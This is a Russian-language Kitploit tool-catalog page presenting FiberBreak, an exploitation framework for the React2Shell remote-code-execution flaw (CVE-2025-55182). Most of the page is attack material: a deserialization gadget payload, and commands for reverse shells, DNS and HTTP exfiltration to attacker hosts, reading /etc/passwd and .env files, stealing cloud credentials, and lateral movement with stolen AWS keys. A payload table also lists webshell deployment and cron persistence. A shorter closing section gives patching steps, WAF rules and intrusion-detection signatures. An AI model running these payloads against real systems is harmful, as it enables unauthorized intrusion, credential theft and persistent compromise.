Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
FiberBreak — React2Shell Инструмент эксплуатации (CVE-2025-55182) | Kitploit
Инструменты/GitHubGitHub/scumfrog/fiberbreak
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхПост-эксплуатацияТестирование на ПроникновениеБезопасность облачных средКомандование и УправлениеRed TeamingРазработка Полезной Нагрузки
548 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHub
scumfrog/fiberbreak

FiberBreak

React2Shell Инструмент эксплуатации (CVE-2025-55182)

Репозиторий
Поделиться

FiberBreak

Фреймворк для эксплуатации CVE-2025-55182 (React2Shell) —
Критическая RCE-уязвимость в серверных компонентах React.

Обзор

  • CVE: CVE-2025-55182
  • CVSS: 10.0 (КРИТИЧЕСКАЯ)
  • Тип: Удаленное выполнение кода (RCE)
  • Затрагивает: React 19.0.0-rc.0 до 19.0.0, Next.js 15.0.0 до 15.0.3
  • Обнаружение: Lachlan Miller (SonarSource)
  • Публичный PoC: maple3142

Установка

root@kitploit:~
# Клонирование репозитория
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak

# Установка зависимостей
pip install -r requirements.txt

# Сделать исполняемым
chmod +x fiberbreak.py

Быстрый старт

root@kitploit:~
# Сборка уязвимой тестовой среды
docker-compose up -d

# Ожидание запуска
sleep 20

# Проверка обнаружения
./fiberbreak.py -u http://localhost:3000 detect

# Выполнение RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"

# Проверка
docker exec react2shell-lab ls -la /tmp/

Технические детали

Обзор уязвимости

CVE-2025-55182 — критическая уязвимость удаленного выполнения кода в серверных компонентах React (RSC), которая позволяет неаутентифицированным злоумышленникам выполнять произвольный код на сервере.

Коренная причина: Протокол React Flight десериализует ненадежные входные данные от клиента без надлежащей проверки, что позволяет злоумышленникам создавать вредоносные нагрузки, злоупотребляющие цепочкой прототипов JavaScript и конструктором Function.

Вектор атаки: Злоумышленники отправляют специально сформированный POST-запрос multipart/form-data с заголовком Next-Action на любой RSC-эндпоинт. Вредоносная нагрузка использует:

  1. Загрязнение прототипа через доступ к __proto__
  2. Доступ к конструктору Function через constructor:constructor
  3. Разрешение Promise для запуска выполнения кода

Поток эксплуатации

root@kitploit:~
1. Злоумышленник отправляет специально сформированный POST-запрос
   └─ multipart/form-data с вредоносным JSON
   └─ заголовок Next-Action (любое значение)

2. Сервер десериализует нагрузку
   └─ React обрабатывает формат чанка RSC
   └─ Разрешает объект, похожий на Promise

3. Цепочка гаджетов срабатывает
   └─ Доступ к __proto__ обходит проверки hasOwnProperty
   └─ constructor:constructor открывает доступ к Function()
   └─ _prefix выполняет произвольный код

4. RCE достигнуто
   └─ Сервер выполняет JavaScript злоумышленника
   └─ Полный компрометация системы

Гаджет

root@kitploit:~
{
  "then": "$1:__proto__:then",           // Загрязнение прототипа
  "status": "resolved_model",            // Фейковое внутреннее состояние React
  "reason": -1,                          // Триггер разрешения
  "value": '{"then":"$B1337"}',         // Ссылка на Blob
  "_response": {
    "_prefix": "MALICIOUS_CODE_HERE;",   // Выполняемый код
    "_formData": {
      "get": "$1:constructor:constructor" // Доступ к Function()
    }
  }
}

Путь затронутого кода

root@kitploit:~
// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
  const value = JSON.parse(chunk.value);
  
  // Отсутствие проверки здесь допускает вредоносные чанки
  if (value && typeof value.then === 'function') {
    // Злоумышленник контролирует метод 'then'
    value.then(/* ... */);
  }
}

Использование

Обнаружение уязвимости

root@kitploit:~
# Обнаружение по одной цели
./fiberbreak.py -u https://target.com detect

# Несколько целей из файла
./fiberbreak.py -l targets.txt detect --threads 20

# Сохранение результатов в JSON
./fiberbreak.py -l targets.txt detect -o results.json

# Отключение проверки SSL
./fiberbreak.py -u https://target.com detect --no-verify-ssl

Базовая эксплуатация

root@kitploit:~
# Простое слепое выполнение команды
./fiberbreak.py -u https://target.com exploit -c "whoami"

# Запись файла на диск
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pwned.txt:HACKED" -t write_file

# Чтение содержимого файла
./fiberbreak.py -u https://target.com exploit \
  -c "/etc/passwd:https://attacker.com" -t file_read

Продвинутая эксплуатация

root@kitploit:~
# Обратный шелл
./fiberbreak.py -u https://target.com exploit \
  -c "10.10.10.10:4444" -t reverse_shell

# DNS-эксфильтрация (скрытно, без HTTP-трафика)
./fiberbreak.py -u https://target.com exploit \
  -c "whoami:attacker.oastify.com" -t dns_exfil

# HTTP-эксфильтрация с выводом
./fiberbreak.py -u https://target.com exploit \
  -c "id:https://attacker.com/exfil" -t http_exfil

# Сбор переменных окружения
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/env" -t env_dump

# Рекогносцировка системы
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/recon" -t recon

# Скрытый DNS-маяк (без вывода команды)
./fiberbreak.py -u https://target.com exploit \
  -c "attacker.oastify.com" -t stealth_beacon

Облачная эксплуатация

root@kitploit:~
# Автоматическое обнаружение облачного провайдера и извлечение учетных данных
# Поддерживает: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/cloud" -t cloud_metadata

Типы нагрузок

Реальные сценарии

Bug Bounty охота

root@kitploit:~
# 1. Скрытное обнаружение с DNS-маяком
./fiberbreak.py -u https://target.com exploit \
  -c "recon.yourburp.oastify.com" -t stealth_beacon

# 2. Если уязвимость подтверждена, извлечение чувствительных данных
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/exfil" -t env_dump

# 3. Проверка облачного окружения
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/cloud" -t cloud_metadata

# 4. Документирование результатов без причинения вреда

Тестирование на проникновение

root@kitploit:~
# Фаза 1: Обнаружение
./fiberbreak.py -u https://target.com detect -o detection.json

# Фаза 2: Подтверждение
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file

# Фаза 3: Оценка воздействия
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/impact" -t recon

# Фаза 4: Извлечение учетных данных (если облачная среда)
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/creds" -t cloud_metadata

# Фаза 5: Интерактивный доступ (если авторизовано)
# Терминал 1: Запуск слушателя
nc -lvnp 4444

# Терминал 2: Получение шелла
./fiberbreak.py -u https://target.com exploit \
  -c "YOUR_IP:4444" -t reverse_shell

Массовое сканирование уязвимостей

root@kitploit:~
# Создание списка целей
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF

# Сканирование всех целей параллельно
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json

# Фильтрация уязвимых целей
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'

# Генерация отчета
cat scan_results.json | jq '{
  total: length,
  vulnerable: [.[] | select(.vulnerable==true)] | length,
  targets: [.[] | select(.vulnerable==true) | .url]
}'

Оценка облачной инфраструктуры

root@kitploit:~
# AWS EC2 экземпляр
./fiberbreak.py -u https://aws-app.com exploit \
  -c "https://attacker.com/aws" -t cloud_metadata

# Колбэк получит:
# - ID экземпляра, регион, зону доступности
# - Имя IAM-роли
# - Временные учетные данные AWS (AccessKeyId, SecretAccessKey, Token)
# - Пользовательские данные
# - Конфигурацию сети

# GCP Compute Engine
./fiberbreak.py -u https://gcp-app.com exploit \
  -c "https://attacker.com/gcp" -t cloud_metadata

# Колбэк получит:
# - ID проекта, имя экземпляра, зону
# - Email сервисного аккаунта
# - Маркер доступа OAuth2
# - Доступные области

# Azure Virtual Machine
./fiberbreak.py -u https://azure-app.com exploit \
  -c "https://attacker.com/azure" -t cloud_metadata

# Колбэк получит:
# - Метаданные экземпляра
# - Маркер OAuth2 управляемого удостоверения
# - Информацию о подписке

Техники эксплуатации

Техника 1: Подтверждение слепого RCE

root@kitploit:~
# Создание уникального файла-маркера
MARKER="pwned_$(date +%s)"
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/${MARKER}:proof" -t write_file

# Проверка через атаку по времени или внеполосным каналом
./fiberbreak.py -u https://target.com exploit \
  -c "curl https://attacker.com/${MARKER}" -t simple

Техника 2: Конвейер эксфильтрации данных

root@kitploit:~
# Шаг 1: Перечисление файлов
./fiberbreak.py -u https://target.com exploit \
  -c "find /app -type f -name '*.env':https://attacker.com/files" -t http_exfil

# Шаг 2: Извлечение конфигурации
./fiberbreak.py -u https://target.com exploit \
  -c "/app/.env:https://attacker.com/config" -t file_read

# Шаг 3: Извлечение учетных данных БД
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/env" -t env_dump

Техника 3: Горизонтальное перемещение

root@kitploit:~
# Извлечение учетных данных AWS
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/aws" -t cloud_metadata

# Использование извлеченных учетных данных для горизонтального перемещения
export AWS_ACCESS_KEY_ID=""
export AWS_SECRET_ACCESS_KEY=""
export AWS_SESSION_TOKEN=""

# Перечисление ресурсов
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances

Смягчение и обнаружение

Немедленное патчинг

root@kitploit:~
# Обновление React
npm install [email protected] [email protected]

# Обновление Next.js
npm install [email protected]  # или [email protected]+

# Проверка версий
npm list react react-dom next

WAF правила

nginx

root@kitploit:~
# Блокировка запросов с заголовком Next-Action
if ($http_next_action) {
    return 403;
}

# Ограничение частоты для RSC-эндпоинтов
limit_req_zone $binary_remote_addr zone=rsc:10m rate=10r/s;

location / {
    limit_req zone=rsc burst=20;
}

Apache (ModSecurity)

root@kitploit:~
# Обнаружение заголовка Next-Action
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:2025551820,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'Обнаружена попытка эксплуатации CVE-2025-55182'"

# Обнаружение вредоносных RSC нагрузок
SecRule REQUEST_BODY "@rx (__proto__|constructor|prototype)" \
    "id:2025551821,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'Обнаружена вредоносная RSC нагрузка'"

Cloudflare WAF

root@kitploit:~
// Пользовательское правило
(http.request.headers["next-action"] ne "") or
(http.request.body.raw contains "__proto__") or
(http.request.body.raw contains "constructor:constructor")

Обнаружение на уровне сети

root@kitploit:~
# Правило Snort/Suricata
alert tcp any any -> any any (
    msg:"Попытка эксплуатации CVE-2025-55182 React2Shell";
    flow:to_server,established;
    content:"Next-Action"; http_header;
    content:"__proto__"; http_client_body;
    sid:2025551820;
    rev:1;
)

Защита на уровне приложения

root@kitploit:~
// Промежуточное ПО Next.js
export function middleware(request) {
  // Блокировка запросов с заголовком Next-Action из ненадежных источников
  if (request.headers.get('next-action')) {
    // Проверка источника
    const origin = request.headers.get('origin');
    const allowedOrigins = ['https://yourdomain.com'];
    
    if (!allowedOrigins.includes(origin)) {
      return new Response('Forbidden', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: '/:path*',
};

Мониторинг и оповещения

root@kitploit:~
# Мониторинг попыток эксплуатации в логах
grep -r "Next-Action" /var/log/nginx/access.log
grep -r "__proto__" /var/log/nginx/access.log

# Оповещение о подозрительных паттернах
tail -f /var/log/nginx/access.log | grep -E "(Next-Action|__proto__|constructor:constructor)" | \
while read line; do
    echo "[ОПОВЕЩЕНИЕ] Потенциальная эксплуатация CVE-2025-55182: $line"
    # Отправка в SIEM/систему оповещения
done

Ссылки

Официальные ресурсы

  • NVD CVE-2025-55182
  • React Security Advisory
  • Next.js Security Advisory

Исследовательские работы

  • Wiz Security: React2Shell Deep Dive
  • OffSec: CVE-2025-55182 Analysis
  • SonarSource: Original Discovery

Сообщественные ресурсы

  • maple3142
  • Public Exploits Collection

Юридическое заявление

ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ТЕСТОВ НА БЕЗОПАСНОСТЬ

Несанкционированное использование запрещено. См. LICENSE для подробностей.

Скачать инструмент
ТипФорматОписаниеВывод
simplecommandВыполнить любую команду оболочкиСлепой
outputcommand + --callbackВыполнение с HTTP-колбэкомДа
reverse_shelllhost:lportОбратный шелл BashИнтерактивный
dns_exfilcmd:domain или domainDNS-эксфильтрацияDNS-логи
http_exfilcmd:callback_urlHTTP-эксфильтрацияHTTP POST
file_readfilepath:callbackЧтение и эксфильтрация файлаHTTP POST
write_filefilepath:contentЗапись файла на дискСлепой
env_dumpcallback_urlСбор переменных окруженияHTTP POST
cloud_metadatacallback_urlИзвлечение облачных учетных данныхHTTP POST
reconcallback_urlРекогносцировка системыHTTP POST
stealth_beacondomainDNS-маякDNS-логи
webshellfilepathРазвертывание веб-шелла Node.jsПорт 8080
persistcallback_urlУстановка персистентности через cronCron-задача